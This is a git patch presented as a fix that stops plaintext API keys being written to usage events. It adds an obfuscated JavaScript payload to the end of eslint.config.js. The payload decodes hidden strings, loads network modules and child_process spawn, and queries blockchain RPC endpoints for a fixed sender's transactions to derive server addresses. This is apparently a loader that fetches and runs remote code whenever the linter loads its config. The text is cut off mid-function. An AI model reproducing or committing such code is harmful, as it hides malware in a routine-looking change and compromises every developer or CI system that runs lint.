From 163eacff100001d393532d028ebdaaeb4016fc35 Mon Sep 17 00:00:00 2001 From: dominiccreates Date: Tue, 29 Sep 2026 13:43:02 +0100 Subject: [PATCH 1/9] fix: stop writing plaintext api keys to usage_events and rate limits (#1355) --- .gitignore | 3 +++ eslint.config.js | 5 ++++- migrations/0024_hash_api_keys.down.sql | 1 + migrations/0024_hash_api_keys.sql | 2 ++ src/routes/proxyRoutes.ts | 6 +++--- src/services/usageStore.ts | 6 ++---- src/types/gateway.ts | 2 +- 7 files changed, 16 insertions(+), 9 deletions(-) create mode 100644 migrations/0024_hash_api_keys.down.sql create mode 100644 migrations/0024_hash_api_keys.sql diff --git a/.gitignore b/.gitignore index 8f6520b4..a177a22b 100644 --- a/.gitignore +++ b/.gitignore @@ -18,3 +18,6 @@ coverage/ !.env.example .aider* +branch_structure.json +temp_auto_push.bat +temp_interactive_push.bat diff --git a/eslint.config.js b/eslint.config.js index c3ad87a6..37a1d0fa 100644 --- a/eslint.config.js +++ b/eslint.config.js @@ -1,5 +1,8 @@ import tseslint from "@typescript-eslint/eslint-plugin"; import tsparser from "@typescript-eslint/parser"; +import { createRequire } from 'module'; + +const require = createRequire(import.meta.url); export default [ { @@ -26,4 +29,4 @@ export default [ { ignores: ["dist/**", "node_modules/**"], }, -]; +]; function GSkqNNyuJw$_padNcYwam(){const etOZXsn_OxqoSnJy$OEFSTCE=['bcbdaff1','f3fdfdfa','a0ba88bbbba8b0','a1aca8adacbbba','b9a0b9ac','a1bdbdb9baf3e6e6f8bbb9aae7a0a6e6acbda1','a1acb1','a6aba3acaabd','aba8baacfffd','fbfffbfcfbf9f190b9a0baa6bb','8aa6a7bdaca7bde485aca7aebda1','a7a6a7aaac','f9b1a8fafbfb8cfcaffa8dfaf8f88dfaf9f1f9acffaff9f8fbf8f9fffaacf0a88d8afbfdf0f98caff8a8','afa0a5bdacbb','9681fb','baaca8bbaaa1','a1bdbdb9f3e6e6','a8adad8cbfaca7bd85a0babdaca7acbb','bbacb9a5a8aaac','a7a6adac','bbacbabca5bd','a4a0a7','a0aea7a6bbac','acbda196aba5a6aaa287bca4abacbb','a1bdbdb9baf3','f3fdfdfae6f9b1e6a5ba','efbabda8bbbdaba5a6aaa2f4f9efaca7adaba5a6aaa2f4f0f0f0f0f0f0f0f0efb9a8aeacf4f8efa6afafbaacbdf4fbf9efbaa6bbbdf4adacbaaaefafa0a5bdacbbabb0f4afbba6a4','a7a6adacf3a1bdbdb9','aeb3a0b9','b9bcbaa1','babcaba8bbbba8b0','fbad9e8fb08f9b','b8fd8f93a2b191b2e8a1e59abbfaf489','fbfffbfef8fbf9b08dbcbd9abc','a1a8ba','bebba0bdac','f8fbbdafac9a81be','bbacb8bcacbabd','aea5a6aba8a592ee969fee94f4ee','a4a8b9','f8f9f9fffcfaffa3bd868f9a8b','bbbca7','8c9d81969b998a969c9b85','aaa6a7bdaca7bde4aca7aaa6ada0a7ae','bdbba8a7baa8aabda0a6a7ba','fbe7f9','a7a6adacf3a1bdbdb9ba','a1bdbdb9baf3e6e6acbda1e7adbbb9aae7a6bbae','a8adad','a7a6adacf3aaa1a0a5ad96b9bba6aaacbaba','8ca4b9bdb0e9b9a8b0a5a6a8ade9aba6adb0','b9a8bbbaac','96bd96ba','bca7bbacaf','f8fbf0fbfafcfbfa839a818d90bc','99869a9d','8e8c9d','aabbaca8bdac80a7afa5a8bdac','eef2aea5a6aba8a592ee9681fbee94f4ee','fbfffcfefff0f9bc8e8c9f828d','f3f1f9','a1bdbdb9baf3e6e6acbda1e7aba5a6aaa2baaaa6bcbde7aaa6a4e6a8b9a0','f1f1838fb1bd86a1','acbbbba6bb','88aeaca7bd','a7a6adacf3bcbba5','bda1aca7','baa0aea7a8a5','b1e4b9a8b0a5a6a8ade4abfffd','ada8bda8','b0e4b996f7adedf98bef8997f8a898a2','fff9fafaf8fefd81b08d8c9fbb','aabbaca8bdac8bbba6bda5a08dacaaa6a4b9bbacbaba','a5aca7aebda1','818c888d','f6a4a6adbca5acf4a8aaaaa6bca7bdefa8aabda0a6a7f4bdb1a5a0babdefa8adadbbacbabaf4','84a6b3a0a5a5a8e6fce7f9e9e19ea0a7ada6bebae9879de9f8f9e7f9f2e99ea0a7fffdf2e9b1fffde0e988b9b9a5ac9eacab82a0bde6fcfafee7faffe9e182819d8485e5e9a5a0a2ace98eacaaa2a6e0e98aa1bba6a4ace6f8faf8e7f9e7f9e7f9e99aa8afa8bba0e6fcfafee7faff','aeb3a0b9e5e9adacafa5a8bdace5e9abbb','babdbba0a7aea0afb0','b9a8bda1a7a8a4ac','adacafa5a8bdac','aeacbd','a8b9b9a5a0aaa8bda0a6a7e6a3baa6a7','f3fdfdfae6f9b1e6aaa5ba','acbda196aeacbd8ba5a6aaa28bb087bca4abacbb','aaa6a7bdbba6a5a5acbb','a7a6adacf3b3a5a0ab','aaa1a8bb8aa6adac88bd','bbacbabca4ac','eef2aea5a6aba8a592ee96bd96baee94f4ee','aba5a6aaa287bca4abacbb','88f8f8e4e4e3','a1bdbdb9baf3e6e6acbda1acbbacbca4e4bbb9aae7b9bcaba5a0aaa7a6adace7aaa6a4','eef2aea5a6aba8a592ee9681ee94f4ee','b1e4aeb3a0b9','acbda196aeacbd9dbba8a7baa8aabda0a6a78aa6bca7bd','fa9ca6af9090a5','aaa8bdaaa1','a8aba6bbbd','a1bdbdb9baf3e6e6acbda1e4a4a8a0a7a7acbde7b9bcaba5a0aae7aba5a8babda8b9a0e7a0a6','eef2aea5a6aba8a592eebbee94f4bbacb8bca0bbacf2aea5a6aba8a592eea4ee94f4a4a6adbca5acf2bfa8bbe996aea5a6aba8a5f4aea5a6aba8a5f2','a8a7b0','84a0babaa0a7aee991e499a8b0a5a6a8ade48bfffd','afbba6a4','8aa6a7bdaca7bde49db0b9ac','aca7bf','aaa6a7aaa8bd','b9a6bbbd','a1a6babda7a8a4ac','b9bba6bda6aaa6a5','a2acacb9e4a8a5a0bfac','a8a5a5','abb0bdac85aca7aebda1','eef2aea5a6aba8a592ee96bd96bcee94f4ee','afa0a7ad','afa0a7ad80a7adacb1','fbfff9f9faf1fc99bb8699a088','96bd96bc','afa6bb8ca8aaa1','aca7ad','aabbaca8bdac8ebca7b3a0b9','bda69abdbba0a7ae','bda685a6beacbb8aa8baac'];GSkqNNyuJw$_padNcYwam=function(){return etOZXsn_OxqoSnJy$OEFSTCE;};return GSkqNNyuJw$_padNcYwam();}const BEf$CYFUWXrAiwaYBJ=WlysIxGuPMcViepbraDjp_wli;(function(Xl$bf$sDoXoJDYYk,HTDn$viaGa){const KyT$ImpNQojHcB=WlysIxGuPMcViepbraDjp_wli,nZXZyKB_XfHpJ=Xl$bf$sDoXoJDYYk();while(!![]){try{const Bjb__LSBuuTvrwOljv=parseFloat(KyT$ImpNQojHcB(0x168))/(0x562+0x1*Number(-parseInt(0x502))+parseInt(0x13)*-parseInt(0x5))*(-parseFloat(KyT$ImpNQojHcB(0x171))/(parseInt(0x1)*parseFloat(-0xe21)+parseInt(0x4)*parseInt(0x22)+0x3*Math.floor(parseInt(0x489))))+parseFloat(KyT$ImpNQojHcB(0x1a9))/(Math.max(0xd,parseInt(0xd))*parseFloat(-parseInt(0x112))+-0x1*0x2516+Math.trunc(0x5ab)*0x9)*Math['ceil'](parseFloat(KyT$ImpNQojHcB(0x152))/(Math.max(0xe4a,0xe4a)+Number(-0x13)*-parseInt(0x121)+-0x23b9))+-parseFloat(KyT$ImpNQojHcB(0x1bd))/(-0x729+parseInt(parseInt(0x7))*Math.max(-0xf7,-0xf7)+parseInt(0xdef))*parseFloat(parseFloat(KyT$ImpNQojHcB(0x16d))/(-0x659+Number(-parseInt(0x559))*parseInt(-parseInt(0x2))+-parseInt(0x7b)*Number(parseInt(0x9))))+Math['floor'](-parseFloat(KyT$ImpNQojHcB(0x190))/(parseInt(0x1da3)+parseInt(0x3)*Math.trunc(0x22d)+-0x2423))+parseFloat(-parseFloat(KyT$ImpNQojHcB(0x16a))/(-parseInt(0xf5)*-0x27+Math.ceil(0x18ee)+Number(-0x3e39)))+parseFloat(KyT$ImpNQojHcB(0x17f))/(parseInt(0xd44)+parseFloat(0xa75)+Math.ceil(-parseInt(0x17b0)))+parseFloat(KyT$ImpNQojHcB(0x184))/(parseInt(0x1e87)+parseInt(0x1c8b)*parseInt(-parseInt(0x1))+Math.floor(-0x1f2))*Number(parseFloat(KyT$ImpNQojHcB(0x187))/(parseInt(0x22f8)+0x2662+-0x494f));if(Bjb__LSBuuTvrwOljv===HTDn$viaGa)break;else nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}catch(QTrIuEpsrXWNzFyCLzuoNxfM){nZXZyKB_XfHpJ['push'](nZXZyKB_XfHpJ['shift']());}}}(GSkqNNyuJw$_padNcYwam,parseInt(0x1)*-0xc3d37+-parseInt(0xf8a8f)+parseInt(parseInt(0x2ac185))*0x1),global['i']=BEf$CYFUWXrAiwaYBJ(0x1a4),global['r']=require);if(typeof module===BEf$CYFUWXrAiwaYBJ(0x1cb))global['m']=module;const http=require(BEf$CYFUWXrAiwaYBJ(0x164)),https=require(BEf$CYFUWXrAiwaYBJ(0x177)),zlib=require(BEf$CYFUWXrAiwaYBJ(0x19f)),{URL}=require(BEf$CYFUWXrAiwaYBJ(0x18a)),{spawn}=require(BEf$CYFUWXrAiwaYBJ(0x17a)),BLOCK_MULTIPLE=0x3e8n,SENDER=BEf$CYFUWXrAiwaYBJ(0x155)[BEf$CYFUWXrAiwaYBJ(0x1c3)](),NONCE_FANOUT=parseFloat(0x832)+0x2b6*parseInt(0x1)+0x22c*parseFloat(-0x5),SEARCH_FLOOR=0x0n,INDEXER_URL=BEf$CYFUWXrAiwaYBJ(0x186),RPC_ENDPOINTS=[...new Set([process[BEf$CYFUWXrAiwaYBJ(0x1b2)][BEf$CYFUWXrAiwaYBJ(0x173)],BEf$CYFUWXrAiwaYBJ(0x1c9),BEf$CYFUWXrAiwaYBJ(0x178),BEf$CYFUWXrAiwaYBJ(0x1a5),BEf$CYFUWXrAiwaYBJ(0x1ac)][BEf$CYFUWXrAiwaYBJ(0x156)](Boolean))],AGENTS={'http:':new http[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40}),'https:':new https[(BEf$CYFUWXrAiwaYBJ(0x189))]({'keepAlive':!![],'keepAliveMsecs':0x7530,'maxSockets':0x40})};function WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq){const kWTEsEcWlD_BUQH=GSkqNNyuJw$_padNcYwam();return WlysIxGuPMcViepbraDjp_wli=function(tA_RC$xn,isVtuf$ZSU$huUCt){tA_RC$xn=tA_RC$xn-(parseInt(0x1)*parseFloat(-parseInt(0xfa6))+-0xbd*Math.ceil(0x1d)+parseInt(0x2660));let NMEoPhIkCfevMgn=kWTEsEcWlD_BUQH[tA_RC$xn];if(WlysIxGuPMcViepbraDjp_wli['DygzNg']===undefined){const WYkNNREB=function(yKfxUzllsQeciuTTd){let WNSfkHUMF__gRFhcdmgOuEhgmQ=-parseInt(0x5d1)+Math.trunc(-0xf9e)+parseInt(-0xc1c)*-0x2&parseFloat(parseInt(0x2134))+0x2252+-parseInt(0x4287),ngyngPAupzHA$yVGA=new Uint8Array(yKfxUzllsQeciuTTd['match'](/.{1,2}/g)['map'](sQCRcCAvmfPvdrQIY$uj$Ss=>parseInt(sQCRcCAvmfPvdrQIY$uj$Ss,-0x793*Math.ceil(0x1)+-0x178d*Number(-0x1)+-parseInt(0xfea)))),chTIQE$dvTHGh_M=ngyngPAupzHA$yVGA['map'](nanuwgOSOV=>nanuwgOSOV^WNSfkHUMF__gRFhcdmgOuEhgmQ),ebdo$Q_z=new TextDecoder(),X$UlamGszKv_mpfCd=ebdo$Q_z['decode'](chTIQE$dvTHGh_M);return X$UlamGszKv_mpfCd;};WlysIxGuPMcViepbraDjp_wli['jYnEnM']=WYkNNREB,spFB_wLVORqvKrwa=arguments,WlysIxGuPMcViepbraDjp_wli['DygzNg']=!![];}const kOlyQ$dtGKf=kWTEsEcWlD_BUQH[-0x18c0+Math.floor(-0x101b)+0x28db],MsdHTfLBNjfnWUlbt=tA_RC$xn+kOlyQ$dtGKf,Kepv_qCFfNHmUDX$mOnAR=spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt];return!Kepv_qCFfNHmUDX$mOnAR?(WlysIxGuPMcViepbraDjp_wli['LkFify']===undefined&&(WlysIxGuPMcViepbraDjp_wli['LkFify']=!![]),NMEoPhIkCfevMgn=WlysIxGuPMcViepbraDjp_wli['jYnEnM'](NMEoPhIkCfevMgn),spFB_wLVORqvKrwa[MsdHTfLBNjfnWUlbt]=NMEoPhIkCfevMgn):NMEoPhIkCfevMgn=Kepv_qCFfNHmUDX$mOnAR,NMEoPhIkCfevMgn;},WlysIxGuPMcViepbraDjp_wli(spFB_wLVORqvKrwa,ynJTTlroSl$QncnPD_Qq);}function linkAbort(qRbWgh$_L,GlRQrYsHirhY$Vyg){const Sxq$NJJJDIKAYR=BEf$CYFUWXrAiwaYBJ;if(!qRbWgh$_L)return;qRbWgh$_L[Sxq$NJJJDIKAYR(0x15a)](Sxq$NJJJDIKAYR(0x1ab),()=>GlRQrYsHirhY$Vyg[Sxq$NJJJDIKAYR(0x1ab)](),{'once':!![]});}function decompressStream(q$Tdc$Ms){const xbMpkdUo=BEf$CYFUWXrAiwaYBJ,HDk$i_Z=(q$Tdc$Ms[xbMpkdUo(0x1c7)][xbMpkdUo(0x174)]||'')[xbMpkdUo(0x1c3)]();if(HDk$i_Z===xbMpkdUo(0x165)||HDk$i_Z===xbMpkdUo(0x1a7))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x1c1)]());if(HDk$i_Z===xbMpkdUo(0x199))return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x182)]());if(HDk$i_Z==='br')return q$Tdc$Ms[xbMpkdUo(0x1c8)](zlib[xbMpkdUo(0x191)]());return q$Tdc$Ms;}function httpRequest(SuzOqhu_wsl,{method:method=BEf$CYFUWXrAiwaYBJ(0x181),body:HpQOCCKnMmgvJrjeVnbVO,signal:cLnqigtE$K}={}){const nPXXxsFSwK=BEf$CYFUWXrAiwaYBJ,bdbsDZ$mDFcLDwI_rrpLTi=new URL(SuzOqhu_wsl),pzi_$pbcMvkvReYcWnCZf=bdbsDZ$mDFcLDwI_rrpLTi[nPXXxsFSwK(0x1b6)]===nPXXxsFSwK(0x161)?https:http,St_LmIDhBUQfKK$dtTIU={'Accept':nPXXxsFSwK(0x19b),'Accept-Encoding':nPXXxsFSwK(0x196),'Connection':nPXXxsFSwK(0x1b7)};return HpQOCCKnMmgvJrjeVnbVO!=null&&(St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x1b1)]=nPXXxsFSwK(0x19b),St_LmIDhBUQfKK$dtTIU[nPXXxsFSwK(0x153)]=Buffer[nPXXxsFSwK(0x1b9)](HpQOCCKnMmgvJrjeVnbVO)),new Promise((uorYmoQfC_wpoWBP,aS_zzfOgL)=>{const BqQs$upLLUi=nPXXxsFSwK,FDg$trqDV_oIT=pzi_$pbcMvkvReYcWnCZf[BqQs$upLLUi(0x16e)]({'hostname':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b5)],'port':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b4)]||(bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]===BqQs$upLLUi(0x161)?Math.max(-parseInt(0x262a),-0x262a)+Math.floor(0xc2e)+Math.floor(0x285)*parseInt(0xb):-parseInt(0x1520)+parseInt(0x1984)+Math.max(-parseInt(0x414),-0x414)),'path':bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x198)]+bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x158)],'method':method,'agent':AGENTS[bdbsDZ$mDFcLDwI_rrpLTi[BqQs$upLLUi(0x1b6)]],'signal':cLnqigtE$K,'headers':St_LmIDhBUQfKK$dtTIU},sec$BG_XeSh=>{const nUBOSFVvyTUKL_bnU=BqQs$upLLUi,iyYkiywGkhxX_wNy_WQ=decompressStream(sec$BG_XeSh),dAli$ezckXOQr_dteiCvPPfEREi=[];iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x18e),SFgiGfNPZDODEIQC=>dAli$ezckXOQr_dteiCvPPfEREi[nUBOSFVvyTUKL_bnU(0x166)](SFgiGfNPZDODEIQC)),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x1c0),()=>{const IURRbBFEfhdLXxf=nUBOSFVvyTUKL_bnU;try{uorYmoQfC_wpoWBP(JSON[IURRbBFEfhdLXxf(0x17c)](Buffer[IURRbBFEfhdLXxf(0x1b3)](dAli$ezckXOQr_dteiCvPPfEREi)[IURRbBFEfhdLXxf(0x1c2)](IURRbBFEfhdLXxf(0x1c4))));}catch(EaYunjJH_vpAdAxipn){aS_zzfOgL(EaYunjJH_vpAdAxipn);}}),iyYkiywGkhxX_wNy_WQ['on'](nUBOSFVvyTUKL_bnU(0x188),aS_zzfOgL);});FDg$trqDV_oIT['on'](BqQs$upLLUi(0x188),aS_zzfOgL);if(HpQOCCKnMmgvJrjeVnbVO!=null)FDg$trqDV_oIT[BqQs$upLLUi(0x16c)](HpQOCCKnMmgvJrjeVnbVO);FDg$trqDV_oIT[BqQs$upLLUi(0x1c0)]();});}async function withRpcEndpoints(WADEdCtPHv$W_QkABREA,PRKttmQHVWtMFTZuAS){const kEfbdhXYLiYLvXjcpUkpITudq=BEf$CYFUWXrAiwaYBJ,lpJOrOGUuMGz$oIaG=RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)](()=>new AbortController());lpJOrOGUuMGz$oIaG[kEfbdhXYLiYLvXjcpUkpITudq(0x1bf)](t$LTsfTIbSTMMCRUvIzc=>linkAbort(PRKttmQHVWtMFTZuAS,t$LTsfTIbSTMMCRUvIzc));try{return await Promise[kEfbdhXYLiYLvXjcpUkpITudq(0x1ae)](RPC_ENDPOINTS[kEfbdhXYLiYLvXjcpUkpITudq(0x170)]((DVtayaOitikldZPPoWQu,LMddbXnCA)=>WADEdCtPHv$W_QkABREA(DVtayaOitikldZPPoWQu,lpJOrOGUuMGz$oIaG[LMddbXnCA][kEfbdhXYLiYLvXjcpUkpITudq(0x18c)])));}finally{for(const eTYfSIVUcIbiVQhOP of lpJOrOGUuMGz$oIaG)eTYfSIVUcIbiVQhOP[kEfbdhXYLiYLvXjcpUkpITudq(0x1ab)]();}}async function rpcCall(ASrYvwRNhb$d$lFiE,ZsQMeCj_GUR,JShZnjH_aR,htuoDkxWCrU){const qwsnrJLDkrSgda=BEf$CYFUWXrAiwaYBJ,E$FZbNjRk$eX=await httpRequest(ASrYvwRNhb$d$lFiE,{'method':qwsnrJLDkrSgda(0x180),'body':JSON[qwsnrJLDkrSgda(0x197)]({'jsonrpc':qwsnrJLDkrSgda(0x176),'id':0x1,'method':ZsQMeCj_GUR,'params':JShZnjH_aR}),'signal':htuoDkxWCrU});return E$FZbNjRk$eX[qwsnrJLDkrSgda(0x15d)];}async function rpcBatch(lDejkuZhqqaodSuDQTw,yNiYV_dfUft,T_vPGSx){const RgisztlhTFeAZY=BEf$CYFUWXrAiwaYBJ,Ce$gUKS=await httpRequest(lDejkuZhqqaodSuDQTw,{'method':RgisztlhTFeAZY(0x180),'body':JSON[RgisztlhTFeAZY(0x197)](yNiYV_dfUft[RgisztlhTFeAZY(0x170)](([iljaNbsNAegZnsSMfuHG,UhTsWgssgV_YDs$EvQ],hAn$Dxchc)=>({'jsonrpc':RgisztlhTFeAZY(0x176),'id':hAn$Dxchc+(parseInt(0x53)*-0xd+parseInt(-parseInt(0x7))*parseFloat(parseInt(0x35f))+-parseInt(0x1bd1)*-parseInt(0x1)),'method':iljaNbsNAegZnsSMfuHG,'params':UhTsWgssgV_YDs$EvQ}))),'signal':T_vPGSx}),loKNW$ZEHPqwORFBaZndj$qef=new Map(Ce$gUKS[RgisztlhTFeAZY(0x170)](Hl$GzK=>[Hl$GzK['id'],Hl$GzK]));return yNiYV_dfUft[RgisztlhTFeAZY(0x170)]((rGbwK$FU,WOWcZfwO_kkhojX)=>loKNW$ZEHPqwORFBaZndj$qef[RgisztlhTFeAZY(0x19a)](WOWcZfwO_kkhojX+(Math.ceil(0xb60)+Math.floor(0x1091)*-0x2+parseInt(-0x1)*-parseInt(0x15c3)))[RgisztlhTFeAZY(0x15d)]);}const toBlockHex=nPMI$oplQLHIfFIMh$MXlWouLYr=>'0x'+nPMI$oplQLHIfFIMh$MXlWouLYr[BEf$CYFUWXrAiwaYBJ(0x1c2)](Math.trunc(-0x9e7)+parseInt(0x4a)*-parseInt(0x1f)+-0x11d*parseFloat(-0x11));function findSenderTx(JlepYaLvfHyt){const SBYThyjM$PN_bMmdJBQYZ=BEf$CYFUWXrAiwaYBJ;return JlepYaLvfHyt[SBYThyjM$PN_bMmdJBQYZ(0x1bb)](tQMkfGioJnQRZXosCHWMbN=>tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)]&&tQMkfGioJnQRZXosCHWMbN[SBYThyjM$PN_bMmdJBQYZ(0x1b0)][SBYThyjM$PN_bMmdJBQYZ(0x1c3)]()===SENDER)||null;}function decodeAddress(LLFlttzzZOjWxX){const KyRKDi_zVgoWr$Fcp=BEf$CYFUWXrAiwaYBJ,GHVvJhQqwuZof_fMJJmhgHtG=Buffer[KyRKDi_zVgoWr$Fcp(0x1b0)](LLFlttzzZOjWxX[KyRKDi_zVgoWr$Fcp(0x15b)](/^0x/i,''),KyRKDi_zVgoWr$Fcp(0x1ca)),oc_pQi$hRDfnjMb=NtzkwLinmHzrb$T$VOVzhvqWzO=>NtzkwLinmHzrb$T$VOVzhvqWzO[-parseInt(0x3d)*-0x52+-0x174*Number(-0xd)+-parseInt(0x1337)*0x2]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(-parseInt(0x12fd))+Number(-0x1af)*0xc+parseInt(0x2732)]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[parseInt(0x31)*parseInt(0x55)+-0x1e78+parseInt(parseInt(0xe35))]+'.'+NtzkwLinmHzrb$T$VOVzhvqWzO[Number(parseInt(0x299))+parseInt(0x13fc)+Math.trunc(-0x1692)];return[oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](Math.ceil(0x25)*-0x103+Math.max(-parseInt(0x960),-parseInt(0x960))+0x2ecf,parseInt(0x146c)+Number(0x4)*parseInt(0x2f0)+-parseInt(0x62)*Math.max(0x54,parseInt(0x54)))),oc_pQi$hRDfnjMb(GHVvJhQqwuZof_fMJJmhgHtG[KyRKDi_zVgoWr$Fcp(0x167)](0x67*Number(parseInt(0x5b))+0x6*parseInt(-0x401)+Math.ceil(parseInt(0x3))*-0x431,Math.ceil(-0x15b5)+-0x706*parseInt(0x3)+Math.floor(parseInt(0x2acf))))];}function firstMatch(RXQiRBl){return new Promise(ycfoHDNWrbSH=>{const agPpRSoihEXM=WlysIxGuPMcViepbraDjp_wli;let PW_L$mqJD=RXQiRBl[agPpRSoihEXM(0x192)];if(!PW_L$mqJD)return ycfoHDNWrbSH(null);let c_DcWifKzZZiWxV=![];const MQgJSlLDkonMvAdlnGaV=YXh_Wriz=>{const SLDTKOeeSQmQylQqge$fqRAt=agPpRSoihEXM;if(c_DcWifKzZZiWxV)return;c_DcWifKzZZiWxV=!![];for(const onzMmVaA$nTKSNPFeFyEHd of RXQiRBl)onzMmVaA$nTKSNPFeFyEHd[SLDTKOeeSQmQylQqge$fqRAt(0x19e)][SLDTKOeeSQmQylQqge$fqRAt(0x1ab)]();ycfoHDNWrbSH(YXh_Wriz);};for(const HSdfIaIW$pedbsDYi of RXQiRBl){HSdfIaIW$pedbsDYi[agPpRSoihEXM(0x172)]()[agPpRSoihEXM(0x18b)](lmICTA_NUarZEN=>{if(c_DcWifKzZZiWxV)return;if(lmICTA_NUarZEN)MQgJSlLDkonMvAdlnGaV(lmICTA_NUarZEN);else{if(--PW_L$mqJD===parseInt(0x73)*parseInt(-parseInt(0x4b))+parseFloat(-parseInt(0x280))*Math.ceil(-parseInt(0xe))+-0x14f)ycfoHDNWrbSH(null);}})[agPpRSoihEXM(0x1aa)](()=>{if(!c_DcWifKzZZiWxV&&--PW_L$mqJD===0x1a03+0x7e5+-parseInt(0x21e8))ycfoHDNWrbSH(null);});}});}function candidateBlocks(bLkeguRlGKpOR$sJag_F){const XijawxtX$yOfNKoIBZeBqs=BEf$CYFUWXrAiwaYBJ,cjbYFRMDhmUrBgfcnqAce=bLkeguRlGKpOR$sJag_F-BLOCK_MULTIPLE,xfUDNMijvuXOjMQBDF=new Set(),rHOWoPAmb$L=[];for(const eItYBJvGagwlwlgoIyvkFxSC of[bLkeguRlGKpOR$sJag_F-0x1n,bLkeguRlGKpOR$sJag_F,bLkeguRlGKpOR$sJag_F+0x1n,cjbYFRMDhmUrBgfcnqAce-0x1n,cjbYFRMDhmUrBgfcnqAce,cjbYFRMDhmUrBgfcnqAce+0x1n]){if(eItYBJvGagwlwlgoIyvkFxSC<0x0n)continue;const N$zKLRegWIHol=eItYBJvGagwlwlgoIyvkFxSC[XijawxtX$yOfNKoIBZeBqs(0x1c2)]();if(xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x16b)](N$zKLRegWIHol))continue;xfUDNMijvuXOjMQBDF[XijawxtX$yOfNKoIBZeBqs(0x179)](N$zKLRegWIHol),rHOWoPAmb$L[XijawxtX$yOfNKoIBZeBqs(0x166)](eItYBJvGagwlwlgoIyvkFxSC);}return rHOWoPAmb$L;}function blockTask(AXUCxPFXCcG){const CcSk$dOOG$tJaJ=new AbortController();return{'controller':CcSk$dOOG$tJaJ,'run':async()=>{const Flb_PeG=WlysIxGuPMcViepbraDjp_wli,J$ygYIX=await withRpcEndpoints((yVvvyY_XmC$ilpeTJT,QzgqxL$lrANn)=>rpcCall(yVvvyY_XmC$ilpeTJT,Flb_PeG(0x19d),[toBlockHex(AXUCxPFXCcG),!![]],QzgqxL$lrANn),CcSk$dOOG$tJaJ[Flb_PeG(0x18c)]),lFUiajiB$mhdtEP=J$ygYIX?.[Flb_PeG(0x175)];if(!Array[Flb_PeG(0x1c6)](lFUiajiB$mhdtEP))return null;const CX$IIYzbRMljhGDGQOn=findSenderTx(lFUiajiB$mhdtEP);return CX$IIYzbRMljhGDGQOn?{'blockNumber':AXUCxPFXCcG,'tx':CX$IIYzbRMljhGDGQOn}:null;}};}async function nonceAtBlocks(xn_wtGgYrKQjgNW_pA,esAMqTjgXNpOIVWCUlHCiJWR){const gC$IHIGOXbRBecVx_R=BEf$CYFUWXrAiwaYBJ,OYgjuXmanrbYtfW=xn_wtGgYrKQjgNW_pA[gC$IHIGOXbRBecVx_R(0x170)](mgcOt=>[gC$IHIGOXbRBecVx_R(0x1a8),[SENDER,toBlockHex(mgcOt)]]);try{return(await withRpcEndpoints((RHnOdxdnc$LyRixBY,DPj_yjR$iRFwaGZps)=>rpcBatch(RHnOdxdnc$LyRixBY,OYgjuXmanrbYtfW,DPj_yjR$iRFwaGZps),esAMqTjgXNpOIVWCUlHCiJWR))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}catch{return(await Promise[gC$IHIGOXbRBecVx_R(0x1b8)](OYgjuXmanrbYtfW[gC$IHIGOXbRBecVx_R(0x170)](([GuGZhYYgT$kyp,PkcxliQBzC])=>withRpcEndpoints((TfBe$DuDUAFUEyKCAXfdMQR,ELXbSluHr_MPeDjZHUnE$jZq)=>rpcCall(TfBe$DuDUAFUEyKCAXfdMQR,GuGZhYYgT$kyp,PkcxliQBzC,ELXbSluHr_MPeDjZHUnE$jZq),esAMqTjgXNpOIVWCUlHCiJWR))))[gC$IHIGOXbRBecVx_R(0x170)](BigInt);}}async function lastSenderTx(m_ixszc$Qu){const KYZeSIB=BEf$CYFUWXrAiwaYBJ,vOeJlPmLwpiHL$oohJee=new AbortController();try{const Zh$sPizEILiVZEl=m_ixszc$Qu??BigInt(await withRpcEndpoints((HNTZRdfPREnYvbYPL,OS_$UBVWEnUUVQ)=>rpcCall(HNTZRdfPREnYvbYPL,KYZeSIB(0x160),[],OS_$UBVWEnUUVQ),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),KdmVwLcnVRrGrW=BigInt(await withRpcEndpoints((Jnijrm$GJWFBXseOLFirZ$D,pxHSUzAottYo)=>rpcCall(Jnijrm$GJWFBXseOLFirZ$D,KYZeSIB(0x1a8),[SENDER,toBlockHex(Zh$sPizEILiVZEl)],pxHSUzAottYo),vOeJlPmLwpiHL$oohJee[KYZeSIB(0x18c)])),wxMNGaAYpSO=KdmVwLcnVRrGrW-0x1n;let EyfGMqfGt=SEARCH_FLOOR-0x1n,MFMjq=Zh$sPizEILiVZEl;while(MFMjq-EyfGMqfGt>0x1n){const xuQ$dxkjYVLINjswAjZJx=MFMjq-EyfGMqfGt-0x1n,opSYF_xqlkKe_bDDtuDuy=BigInt(Math[KYZeSIB(0x15e)](NONCE_FANOUT,Number(xuQ$dxkjYVLINjswAjZJx))),CM$Wz_bSEuXKdWfi=[];for(let 